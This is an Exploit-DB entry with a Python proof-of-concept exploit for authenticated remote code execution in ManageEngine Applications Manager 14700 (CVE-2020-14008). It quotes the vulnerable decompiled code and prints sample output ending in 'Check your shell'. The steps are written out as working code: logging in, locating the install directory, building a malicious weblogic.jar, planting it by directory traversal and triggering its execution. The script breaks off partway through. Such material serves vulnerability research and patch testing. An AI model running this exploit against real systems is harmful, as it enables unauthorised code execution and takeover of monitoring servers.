Exploit-DB #48793
Description: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)
Type: webapps
Platform: java
Date: 2020-09-07
Author: Hodorsec

Exploit:
#!/usr/bin/python3

# Exploit Title: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)
# Google Dork: None
# Date: 2020-09-04
# Exploit Author: Hodorsec
# Vendor Homepage: https://manageengine.co.uk
# Vendor Vulnerability Description: https://manageengine.co.uk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html
# Software Link: http://archives.manageengine.com/applications_manager/14720/
# Version: Until version 14720
# Tested on: version 12900 and version 14700
# CVE : CVE-2020-14008

# Summary:
# POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers
# Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor
# When invoking the Credential Test, a call is being made to lookup a possibly existing "weblogic.jar" JAR file, using the "weblogic.jndi.Environment" class and method

# Vulnerable code:
# Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java
# 129 /*     */   public static MBeanServer lookupMBeanServer(String hostname, String portString, String username, String password, int version) throws Exception {
# 130 /* 130 */     ClassLoader current = Thread.currentThread().getContextClassLoader();
# 131 /*     */     try {
# 132 /* 132 */       boolean setcredentials = false;
# 133 /* 133 */       String url = "t3://" + hostname + ":" + portString;
# 134 /* 134 */       JarLoader jarLoader = null;
# 135 /*     */       
# ....<SNIP>....
# 143 /*     */       }
# 144 /* 144 */       else if (version == 8)
# 145 /*     */       {
# 146 /* 146 */         if (new File("./../working/classes/weblogic/version8/weblogic.jar").exists())
# 147 /*     */         {
# 148 /*     */ 
# 149 /* 149 */           jarLoader = new JarLoader("." + File.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar");
# 150 /*     */           
# ....<SNIP>....
# 170 /* 170 */       Thread.currentThread().setContextClassLoader(jarLoader);
# 171 /* 171 */       Class cls = jarLoader.loadClass("weblogic.jndi.Environment");
# 172 /* 172 */       Object env = cls.newInstance();

# Example call for MAM version 12900:
# $ python3 poc_mam_weblogic_upload_and_exec_jar.py https://192.168.252.12:8443 admin admin weblogic.jar 
# [*] Visiting page to retrieve initial cookies...
# [*] Retrieving admin cookie...
# [*] Getting base directory of ManageEngine...
# [*] Found base directory: C:\Program Files (x86)\ManageEngine\AppManager12
# [*] Creating JAR file...
# Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
# Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
# added manifest
# adding: weblogic/jndi/Environment.class(in = 1844) (out= 1079)(deflated 41%)
# [*] Uploading JAR file...
# [*] Attempting to upload JAR directly to targeted Weblogic folder...
# [*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!
# [*] Running the Weblogic credentialtest which triggers the code in the JAR...
# [*] Check your shell...

# Function flow:
# 1. Get initial cookie
# 2. Get valid session cookie by logging in
# 3. Get base directory of installation
# 4. Generate a malicious JAR file
# 5. Attempt to directly upload JAR, if success, jump to 7
# 6. Create task with random ID to copy JAR file to expected Weblogic location
# 7. Execute task
# 8. Delete task for cleanup
# 9. Run the vulnerable credentialTest, using the malicious JAR

import requests
import urllib3
import shutil
import subprocess
import os
import sys
import random
import re
from lxml import html

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)

# Custom headers
def http_headers():
    headers = {
        'User-Agent': 'Mozilla',
    }
    return headers

def get_initial_cookie(url,headers):
    print("[*] Visiting page to retrieve initial cookies...")
    target = url + "/index.do"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    return r.cookies

def get_valid_cookie(url,headers,initial_cookies,usern,passw):
    print("[*] Retrieving admin cookie...")
    appl_cookie = "JSESSIONID_APM_9090"
    post_data = {'clienttype':'html',
                'webstart':'',
                'j_username':usern,
                'ScreenWidth':'1280',
                'ScreenHeight':'709',
                'username':usern,
                'j_password':passw,
                'submit':'Login'}
    target = url + "/j_security_check"
    r = requests.post(target,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify=False)
    res = r.text
    if "Server responded in " in res:
        return r.cookies
    else:
        print("[!] No valid response from used session, exiting!\n")
        exit(-1)

def get_base_dir(url,headers,valid_cookie):
    print("[*] Getting base directory of ManageEngine...")
    target = url + "/common/serverinfo.do"
    params = {'service':'AppManager',
            'reqForAdminLayout':'true'}
    r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    tree = html.fromstring(r.content)
    pathname = tree.xpath('//table[@class="l